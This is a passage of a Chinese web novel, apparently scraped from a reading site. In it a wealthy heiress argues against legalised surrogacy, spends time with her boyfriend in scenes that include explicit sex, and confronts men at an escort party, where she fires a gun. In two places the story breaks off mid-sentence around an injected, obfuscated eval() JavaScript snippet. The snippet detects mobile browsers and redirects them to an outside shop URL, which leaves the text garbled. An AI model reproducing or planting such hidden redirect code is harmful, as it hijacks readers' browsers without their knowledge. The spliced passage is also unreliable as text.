说完静静站在幕布下,片刻后代表问道:“没有异议吗?” “有。”月买茶起身,代表回到座位,她走到椭圆会议桌的前,双手撑桌,说自己的看法。 “一,让代|孕合理化就是在鼓励黄|赌|毒合法。 有市场需求就有人生产,在变相赞成的风气下,会有更多人投身黑代|孕行业。 “女性平均来月经年龄为13—14岁,考虑到食品安全问题的影响,这个年龄可以提前。 而刚刚您并没有明确供子宫供体的年龄。 在子宫可以售卖的情况下,那些女孩子凭什么不被去卖? 抛开消费主义影响,有能花钱送孩子进豫|章书|院之类的惩戒机构的家长,为什么不会有为了挣钱强迫孩子进代|孕版本的惩戒机构? 把孩子送进惩戒机构等孩子被虐待死后坐地收钱的家长是存在的。 面对洗脑和殴打,来月经的小学高年级学生和初中低年级学生要怎么逃脱。 而且,都已经被控制住了,那顺便卖个淫多收点钱也是可以接受的,而卖|淫与黑与毒息息相关,在这方面东|欧已经提供了现实依据。 考虑到卖孩子的家长并不是会投身社会发展的正派人物,那他们的钱财用处也是可以预见的。” “二,社会和医疗压力。” 女性在一次月经周期里只会排出一到两颗卵子,为了提高效率被取卵者需要促排卵,相关辅助生殖技术会导致卵巢过度刺激综合征,该病会造成肝肾损伤,影响患者正常生活,严重甚至导致死亡。 哪怕足够幸运没有患上卵巢过度刺激综合征,那需要从阴|道后穹窿穿到腹腔,再从腹腔穿到卵巢并需要在卵巢里寻找到合适卵泡插进去的取卵针,也会对身体造成一系列损伤。 不论是在官方指定机构还是黑诊所进行取卵,那些长久的伤害都只会转嫁到医疗系统上。 “同样,当前就业情况下,企业会很乐意多一个就业歧视的理由,谁都不想要有潜在风险的员工吧。” “而且取卵,受精和植入的成功率并不高,这是否违背了帮助高素质人才专注工作的初衷。” “三,对下一代和亲子关系会产生潜在危害,此点针对代孕的第二步骤,即代生产。” 父母尤其是母亲对孩子的爱受激素和相处时间影响,如果没有亲自照顾胎儿,那么感情会有多少就不得而知了。 同样,怀孕期间的诸多禁忌对胎儿没有感情的供体母亲会遵守吗? “最后,反夏势力难道不会以此为突破口弄个孩子来恶心人。” “要知道,非纸质档案存在很大的可篡改空间。” “以及,面对落后地区女性困境不想着解救她们而是利用,是否有违初心。” “高素质人才是比大元帅更忙吗?大元帅能自己生孩子他们怎么不能?而且他们不想自己生养自己的孩子吗?辅助生|殖技术的产生与发展是用来降低痛苦的,而不是转嫁痛苦的。 “敢问在座各位哪位能确定此项法案颁布后一切都按照官方设想的程序进行。”说着月买茶坐到桌子上,提出另一个问题:“敢问在座各位,尤其是女性,清楚卵巢对身体的用处吗?” “最后一问,请问夏洲二十六亿人中有多少是熟悉自己身体状况的,接受过正确性|教育的,知道何谓健康的亲子关系和人际关系的?” “别到时候你妈去代|孕的骂人话先火了。” 扫眼全场,月买茶从桌上跳下去,走到代表身后,两手拍了拍他双肩,“对了,要是官营了,反夏势力才好做文章呢。” “毕竟怎么看都是压迫,不是么,压迫贫困地区的人做生育工具,剥夺高素质人才生育权做别的劳动工具。” “这些都是你的想法?”她笑眯眯问,“还是你就是个打工的?” 不等人回答,她自言自语道:“我非常确定我就是个打工的。” 说着她捞过自己的椅子,砸在代表头上。 “对了,压迫除了阴谋诡计,还有更直接的方式——暴力。”说着她又用椅子砸了一下代表。 * 一场会开完,距离官方上班时间居然还有三十分钟。 想着候机时可以好好做个保养,月买茶丟开椅子,离开会议室。 一路上遇见不少熟人,都面带微笑与她打招呼,似乎那不是星期一将要上班的时间,而是星期五将要下班的时间。 进了电梯就给基金会负责人打招呼,说了刚才的事,强调一定要做好性安全教育,尖锐湿疣皮肤病什么的每个人不管大人小孩都要看到。 “佳佳爷爷的音符号不是做得还不错,让他也宣传宣传,还有那批被性|侵过的药娘。”电梯上行,她看着锃亮钢铁棺材里四面八方解琟的脸,“诉苦会也要开,不管是谁,想说就说。” “然后,加紧内部排查。对了告诉那些已经上班的,别被人鼓动动歪心思,天上不会掉米饭给打工仔吃。” 月买茶对自己和同阶层的人有着非常清晰的认知,他们那种人提出一件事的目的是想做或是为已在做的事找补,而不是征求意见。 屋子里不会只有一只蟑螂,多生动的警告。 “防拐教育也要做好。” “一定一定要把恐慌扩大,不然那群小孩什么都敢尝试。” 叮一声电梯开启,月买茶在心里哎呀一声,刚刚忘记讲了,还会促进拐卖呢。 负责人说下午会开个会然后把记录发到她邮箱里,说着好,她挂了电话打电话给齐燕华秘书问齐燕华在做什么。 秘书说在开很重要的会。 叮一声电梯开启,她摁住下行键,又问要怎么出境,她乱七八糟的身份背景搞得她的出行很麻烦。 秘书说李惨绿会去接她。 “叮——”电梯门往两边移去,露出停车场和李惨绿。 李惨绿站在他的Atlantic旁,穿着她织的紫色长开衫,脖子被打底衫高高的领子裹着,喉结凸出。 车顶上立着杯GOODME的生椰抹茶麻薯,见她来,他立刻走上前牵她。 拿下那杯生椰抹茶麻薯,月买茶吸了口,道:“青琐不是没有GOODME?” “易慧闹着让我开一家。”李惨绿说,“聊天记录发给你了。” “你倒是谨慎。”又吸了一口,她问,“易慧喊你什么。” “姐夫。” “她比我俩都大吧。”说着默了默,她吐槽道:“狗腿。” 摩挲着她的手,李惨绿没说话。 上车之后,她说得去趟安全局,“你方便去吗?” 安全局由苏迩安直接管辖,跟很多人处在微妙的互相防备的关系中。 “我不进去就好。” 进去安全局,拯救老虎行动小组的组员笑着迎上来,道:“古哥出差去了,有些事没他开权限办不了。” “我记得你们所有人都有让我合法出境的权限。” “那您得有正当理由啊。” “我朋友过世了我去参加葬礼。”月买茶挑眉,“不够正当。” 给办公室的门留了条缝,那组员翻出些芝士条给她,说跟对边拯救宝贝行动小组的人通过气了,“真不建议您出境,您得罪的人那么多,要是落到加西亚.加西亚手里还好说,落到别人手里……” 组员皱眉,“这不是天天有富豪被撕票的新闻嘛。” “那我去霓国申请入籍,那边安全。” 组员的脸泛着苦,“你这气人也不是这个气法呀。” “我有个关系很好的哥哥在霓国,比跟你们,包括我生父和李惨绿在内的所有人都熟。”月买茶笑眯眯道,“他是大家族的继承人,身边的安保不会差劲。” “这个绝对不行。”组员摇头。 “那去基金会在东南亚和印度的基地视察?” 组员摇头,又恍然大悟一样说,“古哥就是去东南亚和印度出差视察你们基金会基地。” “顺便调查一下你最近在抽什么风。” “我抽风?”咀嚼着酸涩的芝士条,月买茶朝组员竖中指,“我好得很,我在北城那段时间表现得不够好吗?” 组员龇牙咧嘴,小声用讲秘密一样的语气说,“你知道吗?你就不是那种一言不合打人砸东西的性格,你要不要看看你这几天做了什么。” “泰剧看多了腌入味了呗。”月买茶甩了下头发。 组员一脸的难以言喻,“你要不要去医院看看。” “那天晚上我被运过来的时候你们没悄摸给我体检?” 组员抿唇,“那可能是不够仔细吧,毕竟时间那么赶。” “您要不然再去查查?” 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李惨绿还说好,“不想吃就不吃。”又说朋友送了上好的奶制品给他,“你不是喜欢烤奶皮子,正好家里有个烤炉,我们可以烤着玩。” 玩?月买茶思考起玩的含义,阡陌纵横的脑沟里有挣扎往外伸着,而她从put you hands up里看出大不敬。 食物怎么能拿来玩呢? 那是虐待啊。 被他对食物的不敬惹怒,她嚎啕大哭起来,那是我啊那是我啊,哭声有八个字,每个字都不发音。 灵车恍恍荡荡前行,亚麻裹尸布摩擦着,擦干大脑的脓液,擦平奔涌的河渠。 真的,不能再思考了。 “我不要吃药。” 李惨绿说了第三声好,“我们不吃药。” 谢谢你,我富有同情心的爱人,愿你对食物的不敬得到宽恕。 一惊一乍地,跑车在午高峰里开着,最后驶进一个绿化很足的小区。 牵着手上楼,门在与他们对视后自动打开。 “我们这样好傻啊。” 照着玄关的大镜子,月买茶说。 镜里十指相扣的两个年轻人正在努力压住笑容,而那种努力更显得他们像傻乐的憨憨。 “我们拍结婚照的时候会不会这样?”月买茶问。 “会更开心。”松开她的手,李惨绿蹲下身为她换拖鞋。 李惨绿去洗手了。她走到客厅中央,打量着可以拿去拍Vlog的采光和视野都很好的温馨屋子,忽地陷入一种迷茫。 不如就这样吧。 “不午睡吗?”李惨绿走到她身边,牵住她。才洗过的手一种凉意,清醒着,月买茶嗯了声。 “还有点工作要处理,你先睡。”把她领到卧室,给她换好睡衣,李惨绿吻了吻她唇。 “那你早点回来。”月买茶依依不舍地咬了下他的唇。 房门轻轻合上,她靠在床头板上,处理起自己的工作:旁听会议,对基金会成员们的追踪,社交必需的消息回复……很多很多。 * 是被热醒的,不断有热气吹在头上,身侧就直接是个大火炉,腰间还环着根沉重的烫手臂,以前怎么没发现李惨绿有抱着人睡觉的习惯。 挣了下,被抱得更紧了,看着爱人眼下的青黑,月买茶在心里叹了口气,拼尽全力翻了个身后就不再打扰人的好觉了。 曾不理解为什么会有人喜欢冬天,直到去了北城,与整个城市一起分享暖气,那时她才明白冬天是多么美好。 挑一个大雪天窝在被窝里,随便做点什么都会很快乐。 而今青琐晴空万里,身后是能用爱框住的人,眼前是一点一点变红的天空和吸收了阳光缓缓亮起的都市。 红日缓缓舞出光波,她的心跳因那壮美产生新的频率。 她是真的很喜欢很喜欢那样跟喜欢的人黏在一起,缩在城市角落,不被任何人打扰的感觉。 那很美好,不是吗? 他们也正好有那样的能力,不是吗? 或许……或许…… 但就像李惨绿不能克制他的生理本能一样,她也克制不了她生理性的痛苦,不是吗? 瞧了瞧李惨绿平静起伏的睫毛,她朝他的脸呼去一口气,奋力挣开他的手臂,鱼一样游进被窝深处,朝捅碎她清纯梦境的李bro吹了口气。 男人的腿动了动,她扒去李bro的衣服。 “Jesus!”李bro整个地被剥出来,她捂住嘴。 狰狞青筋旁,几颗冷灰色的钢珠锃亮流着冷光,比钻石更能闪瞎人眼。 往上游去看看李惨绿清冷出尘的脸,又沉回去看看沉睡的巨物,月买茶陷入沉思。 这也能机械化,李惨绿不会拿自己去做实验了吧。 像封建时代的人面对蒸汽机一样,她惊恐又莫名激动地咽咽喉咙,想象之外的巨物安静地蛰伏着,引诱人类与生俱来的好奇战胜面对未知的恐惧。 跟第一个吃螃蟹的人一样,她畏畏缩缩地碰了碰那个喷涌着热气的物。 会被撑裂的吧……思绪不受控制跑到情事前漫长的准备工作上,月买茶只觉前途一片黑暗。 更黑暗的是这要是被曝光出去怎么办。换做是她,她是绝不会跟这种人合作的,太不考虑后果和社会看法了。 眼泪慢慢地涨起来,她不停地思考找法子宽慰自己,忽地就想到了这位少爷她还得求着合作,于是愤怒了。 贬低别人不成还伤到自己,她愤怒地给了导火索一巴掌。 唰一声被子被掀开,她抬起头,意识到自己做了什么之后想解释,未语泪先流,想擦眼泪却又觉得手脏,便低回头。 罪魁祸首却昂扬地吐着息,没忍住,月买茶又扇过去一巴掌。 “宝宝。” “嗯?”她抬头,见李惨绿蒙着起床气的脸上表情十分复杂,才后知后觉发出了长长的呃声。 对视半晌,在他们共同的注视下,李惨绿把某个东西放回它该安分待着的地方。 视线跟着移动,她愣愣看着布料上的湿痕,呆呆道:“它吐了。” 李惨绿的表情变得更加复杂。 反应过来自己说了什么鬼话,月买茶干咳几声,仰头望天花板,虚虚道:“请问我能采访一下你的心路历程吗?” “觉得能让你舒服,就做了。”李惨绿将她拥入怀里。 倚着他胸膛,月买茶眨眨眼,嘟囔道不是做人体实验就好。 “嗯?” “好疼的吧。”她吻起他的脸。 “不疼,打麻药了。”李惨绿轻声回道。 “你该说疼的。”她叼住他的唇咬了下,“真是栽死在你这个木头人身上了。” 她栽没栽死不好说,反正某样东西是栽进了她的身体。 mental,physical,情动促狭地滚便全身,她抓挠着,痉挛着,脱力了。 咔嚓——闪光灯亮起来,她艰难地抬起头,背却被李惨绿抚平。 “好累。”她把头埋入他的颈窝,咕哝道,“真想一直跟你睡下去。” “那就永远吃不到晚饭了。”李惨绿吻起她的鬓角。 耳鬓厮磨,时间像握不住的水从指缝流出,落入油锅。 有热雨炸出,她躲闪着,抱紧眼前人。 11.难得甜蜜 掏棉,清洗,烘干,装上新的棉花,拉上拉链,又是一个充满着阳光味道的好娃娃。 猫眼胶凉凉地黏在脚趾甲上,明明应该是没感觉的,但月买茶就是觉得很沉重,跟明知肠道在消化药了却觉得药还卡在喉咙里一样。 冷白的脚踩在李惨绿冷白的手掌里,白与白融化在一起,像刚有形的胎儿,混沌成一团,辨不清人样。 那还是沉重吧,感谢指甲油为她指明脚的形状。 “不喜欢这个颜色吗?”李惨绿抬起头,眼睛亮亮地在那张冷白的脸上上扬着,勾勒出正常眼睛的样子。 好想问你知不知道为什么米青|液和药片都是白色的,哪怕那是一个超纲的问题。 算了,你只会道歉。 互相喜欢的我们有什么错?我也没有因为讨厌我爸爸而去讨厌我自己。 “喜欢啊。”月买茶鼓起嘴,责怪道:“你一点都不了解我。” “我是那种会盯着不喜欢的东西看的人吗?” 要是敢说对不起你就完蛋了。盯着李惨绿,月买茶往密闭的口腔里又输了点气。 “嗯,你不是。”李惨绿笑道,转而用引诱的口吻说起晚饭的内容:“我们晚上去吃肉,叫了你最喜欢的厨师来做牛肉塔塔,还有你想吃的三文鱼千层,嗯……” “怎么了?” “在想能不能陪你去体检而已。”那句话李惨绿说得很随意,似乎他自己都没放在心上。衔接顺滑地,他继续报起菜名:马肉刺身,生猪肉面包,烧鸟……听得月买茶又馋又恨。 馋是因为吃鱼吃得要疯了,恨是因为洗澡前宣正礼发来的消息: 该去谢家的医院做全身体检了。 当然不是因为体检恨的,她只是恐惧她人生的另一种可能而已。 “你要是打着去见家里人的目的那还是算了,我不是很想认他们。”垂下眼睫,看着亮晶晶的脚趾,月买茶兴致缺缺道,“你不是还要出差?” “上升期呢,少留点把柄。” 笑眯眯的,李惨绿说好,拿起磁板继续给她做美甲。 没笑多久,李惨绿的脸就习惯性地没了表情,觉得舒适,她揉了揉他的头。 有嗡声传来,听频率是李惨绿的手机,才要提醒,就听脚下传来句,“你帮我看一下。” 够来手机举高在脸上方,人脸识别成功,手机自动解锁,她见以她照片为聊天背景的屏幕里充满了单方面输出: “你只是个好点的替代品而已”“你什么都不能给她”“我们才是真爱”…… 视线往上盯了会儿名称处的Zephyr.F,她眨了眨眼。 “宝贝,这个Zephyr.F是你调的机器人吗?” “是有一定市场,但是成本会不会……” “就是你前男友。”李惨绿夹着声音委屈道,“我哪有那么无聊?” 其实也不是不行,遗憾地退出聊天软件,她输入001开头的十三位数字,听着嘟声,思考要说什么作为开场白。 Mr.? F**k you? 但在熟悉的呼吸传来的那一刻,她的舌头未经思考就弹出了句:“What''s your problem?” 待对面慢了一拍的“what''s your problem”消散在气息纯净的卧室里,月买茶心平气和地问:“请问你对我男朋友有什么意见吗,F先生?” 泽法咳了声,很理直气壮地说:“他在蔑视你的痛苦。” “所以你说我cheap是在爱我喽?” 不想再多听他说一句话,扔了句“再骚扰我男朋友我们连合作都不要有了”她直接挂断电话。 几乎是同一时刻,屏幕上方蹦出泽法.F发来图片的提示信息。 知道那是发给她看的,没多犹豫她就点了进去。 那是张截图,图里的内容是李惨绿两小时前发的朋友圈: 一张他们俩的握手图和一句“我要给你一百个棉花糖的拥抱”*1。 泽法.F还是一如既往地擅长攻心。 你在做什么呀?把我们变成那种玩化粪池警告的癫公癫婆很有意思吗? 我最不需要的就是你的回应你不明白吗? “宝宝。”勾起李惨绿的脸,她皱眉,“你不觉得在我失去意识的时候给我拍照是件很惊悚的事吗?”松开他的脸,她删去那条朋友圈,轻飘飘把恨说得很轻松,“结合一下我的遭遇。” “拍前征求一下我的意见,我也很乐意在清醒的时候拍照留念。” 打开前置摄像头,弯下身跟李惨绿摆出头贴头的姿势,她咔嚓拍了张毫无构图技巧的生活照,配了“by buytea”和三个心形emoji发到朋友圈里。 发完打电话给李敏衡,她问李敏衡泽法.F强行联系他们的事需不需报备。 “我会处理。”李敏衡说。 “谢谢,拜拜。”挂断电话,拿过自己手机点进昵称栏,她重重摁住删除键删去“等待天使的妹妹”*1。 “|”跳啊跳,她陷入迷茫。 打下“可是丑恶不会忘了我”*2又飞速删掉,觉得那显眼的有种派发裸照之意。敲出“核心题旨”*3却觉得太矫情,同那些用典的装模作样士大夫有何区别。 敲敲打打好一阵子,她最后敲下一行“虽然那风景是地狱”*4。 祸祸完自己的“|”,她又打开李惨绿的手机,点进小便池的头像,把“happy不happy”改成“眼睛适应黑暗之后”。 弄好那一切,她亲住李惨绿,美甲已经做好了。 亲了好久才松开,她圆睁着眼要自立:“我自己穿袜子。” 李惨绿说好,起身,“我去烤点牛肉干带到路上吃。” “谢谢你,my baby boy。”她朝李惨绿挥手,大摇大摆地挥,很快乐的样子。 木门轻轻合上,玻璃砖墙刻下李惨绿的身影,模模糊糊的,墙中人镜中花水中月。 要穿的袜子李惨绿已经拿出来了,黑裙配黑袜,屈起腿往上扯袜子的时候纱质的裙子硬挺挺地硌着她,叫她难受。 还不如让李惨绿来。 可早晚是要独居的,连袜子都不会穿的话,又怎么学得会养草呢? 踩着袜子到客厅,坐到牛皮的沙发里,她从李惨绿那里收到装在碎花纸袋里的薄薄的牛肉干和盛在绘着汤姆猫的保温杯里的锅茶。 撕咬着牛肉干,她在李惨绿“宝宝,抬脚”的指令里抬左脚抬右脚,让黑黑的羊皮鞋子啃住黑黑的脚。 * 到会所时飘起了雪,按着她的意思,经理关了所有的灯,只在桌上留了两个烛台。 烛台是树的形状,黑暗里两座树交叠在一起,有种簇拥之意。 虔诚吞着一块儿又一块儿生肉,吞到猪肉糜时,她吩咐经理去转告厨师:“除了盐、黑胡椒和柠檬之外多余的调料都不要。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16971124|193415||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “面包什么的撤下去吧,肉留着就好。” “好的。” 米面包和蔬果一碟一碟地离开蕾丝桌布,月买茶心情无限好地点了点头。 抬头欲与人分享快乐,笑还没扬起来,脸就先给李惨绿的注视冻着了。 于是惊觉吃得太高兴把男朋友给忘了。 见服务生的手朝李惨绿只能用偏安来形容的领地伸去,她忙道:“就这样吧。” “就这样吧。”把手肘放在桌上,撑住脸,李惨绿重复道。 很快,什么人声都没了。 雪淅淅沥沥下着像人在啜泣,隔着四分之三桌的生肉望李惨绿,月买茶揉了揉鼻子。 “惠灵顿牛排怎么样,还不错吧。” 李惨绿跟他的璆叔叔一样,一点儿生肉都不吃。 “还不错,要试试吗?”李惨绿拿起刀和叉,给她切了一块,喂到她嘴边。 牛肉的质量当然是极好的,就是蘑菇酱他不喜欢。 竖起大拇指,她咳了声,眼睛咕噜转着要给烛光晚餐找浪漫话题。 可能跟李惨绿讲什么?他们有四分之三年没联系了。 凌夏竹? “北省怎么样?”李惨绿又喂过来一块惠灵顿牛排。 张嘴、闭嘴、咬烂、吞下,月买茶说:“还不错。” 洋洋洒洒从落地北城那天开始描述她在山海关外的见闻,一路讲到惊蛰那天早上的冬粉鸭店,她感叹道店主母女实在是甜蜜。 “那个女孩子大概有这么高。”她用手在桌边比划着,说店主女儿穿着朱迪警官的童装给她送耙耙柑,还骄傲地跟她说“我妈妈的手艺是不是很好”。 “那我肯定说好吃啦。”她捧着脸一脸向往, “你不知道她有多可爱。” “比你可爱吗?”李惨绿又伸过来叉子。 “怎么会,我可是天下第一可爱。” “不吃啦,撑死了。”易慧说吃撑后身体为了消化会变得很热,摸摸脸,月买茶觉得她说得没错。 “脸都吃烫了。”站起来,朝李惨绿那边探去身,她抓住他空着的左手贴到脸上。 “你的手怎么也烫?” “在室内当然热。”李惨绿笑了下,顺势捏了下她的脸,“不吃了?” 月买茶摆头。 摆着就摆到了院子里。 十指相扣的手在冷冽的空气里摆啊摆,偶尔停住脚步去看点着雪的蜡梅,往上望的时候看到被光污染的不夜天,哀伤却又觉得好幸福。 蛋白质提供的热量被雪景耗完时Bobby打电话来,说Alec的妈妈,赫赫有名的影后因为body shame和种族歧视被封杀了。 没有大仇得报的快|感,只是一滴泪也不流地想起了死前的Alec。 标杆的盎格鲁—撒克逊精英的童年是温良的。 加州的阳光炽热,Alec会穿扣子扣得严谨的衬衣站在灌木丛边,把学小狗的她揪起来。 那时她六岁,以后坏事做尽,学小狗一样叫的童年像帮助世界归于和平的善良灵魂一样灰飞烟灭。 然后被遗忘。 若没有这通Bobby囔囔着“我好难过”的电话,她或许会回到李惨绿用奖金买的房子里,酣然场二十岁女生的甜梦。 有时候真希望时间定格在那一刻,李惨绿牵着她,她踮着脚去够树枝,他们都在笑。 “我得回竹园了,在长辈眼皮子底下同居,感觉怪怪的。” 12.不熟亲友 天气预报说下周会转晴,趁着好天气要来,月买茶打了报告,忙活起科普卵巢重要性的事。 找场地,设计主题,招揽观众……一连串的事转下来,她获得了城六区的自由出入权。 周五有玩得来的朋友喊她出去,本着拉赞助的想法,她答应了。 少爷们私底下的派对向来见不得光,倚在卖笑人怀里,月买茶一颗一颗吃下她喂的草莓。 打小认识的程家三少程觉夏递来烟,是混了特殊香料的无尼古丁烟,烟纸上绘着加勒比海流浪画家在内陆地区的所见所闻,月买茶只抽那一款。 “不抽了,过两天要去体检。”她那样说,卖笑人便探手去拿新的草莓。 “烦。”她猛坐起来。 宣正仪正在一旁跟当红的两个女星对嘴喝酒,见状啧了声:“跟温锦衣那种没同理心的人斗什么气?” 那些天她因为组织科普的事跟温锦衣碰过几面,两人起了不少矛盾。 “你别哪壶不开提哪壶。” “我烦的是体检。” 靠住温香软玉练过的肩,她勾起她柔软的头发玩。 那发的质地极好,黑而明亮,她都能在上面看见月亮的脚印。 砰—— 门在所有人意料之外被打开,皱起眉,后仰,月买茶将自己藏到光没照着的地方。 一群能露面的人里宣正仪咖位最大,端起架子,他责问:“做什么?” 妈咪讨好笑着喊了一圈少,侧身让出一排嫩得出水的人,介绍是经理特意选派来的,“都是雏。” 搂着女明星,宣正仪笑得浪荡又阴鸷,“怎么,要我们帮你培养?” 妈咪说哪敢,“都调|教好了,只等各位爷用呢。” 宣正仪没说话,一旁他的跟班站起身,半轰半骂赶着妈咪出去了。 门合上,连内里的喧嚣都给隔出去了,昏暗灯光缓缓流淌,月买茶维持着倚在灯气淌不到的地方,问: “谁的人?” 门都不敲直接撞开,那样没眼力见还能做到妈咪,那青琐的人们都不用去学奉承了,学撞门得了。 宣正仪做出思考的样子,语气浑不在意:“我怎么知道。” “你——”一看宣正仪那样月买茶就来气。 “——你们这一个个的。”踢宣正仪一脚,程觉夏笑,“他情场失意伤到脑子了,你包容包容。” 谁的情场顺遂?想到远去庐城开会的李惨绿,月买茶切了声,闭了眼枕在卖笑人富有弹性的大腿上,打算小睡一会儿。 健康科普不难搞,难搞的是那个节点的人际关系,谁要深交谁要断交,都是难题。 水声纠缠,拉链滑动的声音传入耳里,她掀了眼皮朝声源处看去。 有陪客在含冰块。 “也不怕把鸡冻没了。”月买茶闭回眼睛,“要做开房去,别吵我耳朵。” 程觉夏咦了声,说得很嫌弃,“这地方的人脏死了,谁敢碰。” 上位者讨好的暴怒和下位者讨好的强颜欢笑很快打破包房的宁静,视线一路向上凌汛在卖笑人亮晶晶的飞来波裙子上,月买茶笑了下。 从飞来波上扭过头,望眼“奴家卖艺不卖身”的戏码,她哂笑着朝嘴唇水亮的陪客扬下巴,“你来,我问你话。” 宣正仪和程觉夏一同喝起倒彩。 月买茶无所谓,自若地问起陪客是怎么入行的,有什么感想。 陪客说着,飞来波继续给她喂草莓。 粉色的汁水滴在飞来波绵软的掌心里,月买茶疲倦地想,她还真是个畜牲。 人文社科要求的悲悯她竟一点儿也没有。 等到陪客哭唧唧讲完,宣、程二人已经睡了过去。让人多给受访者点小费,她拿了手机,离开包房。 晚饭时间刚过,天已经黑了,整层楼却静得像是被停业整顿了。 走廊灯光也昏昧,她双手插兜,慢慢踱步到尽头。 窗外,一幢独栋小楼被靡靡歌声缠绕着,甜乎乎地在风雪里傲视匆匆来往的车辆,像生日蛋糕上的翻糖小屋,梦幻得叫人心驰神往。 “那楼是供给谁用的。”她问跟在一边的服务生。 服务生说是老板的地盘。 风月场上有规矩,背后的主子不能给外人说道。 想到撞门的妈咪,月买茶抬脚往那楼去。 她倒要看看是哪个崽种。 走得愈近,娇声莺语越清晰,见大开的门边无人,她往里深入。 满屋的淫和乱,熟悉的配方。好笑地赏了会儿人间乐事,她继续往里走。 灯光迷离,一阵甜腻得像要流蜜的女声流入耳里,她愣了愣。 音色听起来有点熟悉。 听起来像是主人公遇到了麻烦。知道那种会员制欢场里不会有真正的受害者,月买茶抬了抬眉,低头要发消息。 那栋楼里有种她很熟悉的味道。 字还没打出去,一个白得反光的女人就挣脱躁动人群,破碎地跌到她跟前。 月买茶的第一想法竟是她身上的红裙自己也有。蹲下身端详了好一会儿来人被泪水浸得五颜六色却仍看得出靓丽容貌的脸,她想起那是宣正仪养的小情人。 不是什么重要的人,但在那种公子哥出没的地方出了事,宣正仪的脸也挂不住。 更何况他本人就在附近。 想了想,她伸出手,扶扯着面前人起来。 只那一小会儿她们俩面前就站定了几个衬衫大开的男人,小情人见状躲到她身后,颤抖着身子啜泣。 才要自报家门,月买茶就被面前一身酒气的男人淫邪地打量起来,男人眼眶浮肿地与周围人笑:“高中妹啊,我正想找个纯的玩玩。” 他说着把视线放到她格裙下露出的那小截大腿上,“怎么还装上了?做烈女啊。” 他说完,一群人哈哈笑起来,一齐用估价的视线看她。 也没什么感觉,沉了嘴角,月买茶掏出枪朝一边装饰用的大花瓶开去。 瓷片如雨四散,被水晶吊灯映得透明,漫天繁星一样。见面前人群终于安静,月买茶清清嗓子,在人堆里找了个看起来正常点的人与其对视:“你好——” “怎么了?” “怎么不继续打了?” 听见俏生生的女音,月买茶抬起头。 讲话的人名唤微生梨,是她正在资助的人和她田野调查的对象。 调查失学未成年人从受害者变成加害者的身份转变。 微生梨一头与她一个长度的紫短发,穿着粉黑色的Chanel套装,傲慢地扬着下巴,又娇又矜,简直是她。 真是狗改不了吃屎,“微生梨,叫你背后的人出来。” 微生梨忸怩起来,娇娇地说姐姐你不是在北城吗?狐假虎威的样子看得月买茶牙痒痒。 “姐姐?”一个沉稳的男声接起微生梨的话,重复了两遍,站定在微生梨身侧。 看到男人的面容,月买茶一阵恶寒。 男人西装搭大衣,一身高不可攀的矜贵气,是她堂哥,中济集团掌舵人谢庭玉。 商场就那么大点,她监护人和谢庭玉起过不少冲突,她也找了谢庭玉不少事。 后来她大伯上门认亲,谢庭玉还是一副淡漠疏离的样子,没多重视那段她也不屑的亲情。 哪怕中济集团是她生父创办且壮大的。 “谢总,”月买茶换上礼貌而疏离的笑脸,“您的地盘吗?那巧了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16977460|193415||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。”她反手扣住身后发小小情人的后脑勺,帮她仰头露脸,“这个人我带走了。” 谢庭玉还没开口,微生梨就急忙接过话头,讨好得不遮掩,“那可不行,这个狐狸精差点坏了我姐和姐夫的感情。” “这里没你说话的份。”月买茶直盯着谢庭玉看,“谢总,你能说话吗?不能说话就打哑语,我看得懂。” 谢庭玉眼神漠然,唇边一抹笑意凉得像早上六点的阳光,“阿梨说得对,这人坏了正仪和庭兰的关系,亲家母叫我处理,我不好拒绝。” 还挺厉害,月买茶用余光瞥眼瑟瑟发抖的小情人。“该吃的苦头她也吃了,事做绝了,兰姐怕是要膈应。” 谢庭玉眉头微动,叫人分不清是皱还是扬,“你是以什么身份在向我提要求?” 整个中济都是你的你还在这要呢,微微一笑,月买茶张口,打算抛秋月白的名头。 秋月白在秋实集团做CFO,能跟谢庭玉碰一碰。 说曹操曹操到,肩膀一沉,有大衣披上身,她侧头,看到秋月白线条流畅的侧脸。 秋月白没顺着她仰头的方向往上看,只帮她拍去肩膀处的褶皱,问那几个围堵在她跟前的纨绔: “怎么了?” “徐之,怎么了这是?”看着噤若寒蝉的纨绔们,秋月白温文地又问了一遍,很有一副主持公平正义的模样。 刚刚跟月买茶对视的人抖着声音站出来: “闹着玩呢白哥。” 那会儿她睡在包房里的两个发小也率着跟班来了。 他们看着诡谲的场面停住急促脚步时,谢庭玉微微朝秋月白一笑,开口:“他们玩得动静太大,了了可能以为是有欺凌弱小的事发生所以来救美了。” “是吧,小林。” 他那么一说,月买茶立时想起小情人的名字。 林霏开。日出而林霏开,但那地界谁会像醉翁一样和善。 看眼林霏开抖得跟宽粉似的两条腿,月买茶开口: “哥他骗——” “既然没事,那就走吧。”并不在意到底发生了什么,秋月白笑得温柔。 想了想她老谢家的优良传统,月买茶果断摇头:“哥哥,我要带她走。” 全场的视线都因那话移到了林霏开身上。 “不过是个玩物,送给我又何妨。”月买茶抬头朝谢庭玉笑,“是吧,谢总。” “什么送不送的?带这种地方的人回竹园,不怕你爸爸生气?”站在秋月白身边,顾乔开口。 秋月白身后的几个人也一起劝起来。 “好妹妹,真要陪玩哥给你找几个好人家的。” “我就要她。” “哥——”月买茶拉长声音求道:“我又没说要带她回家。” 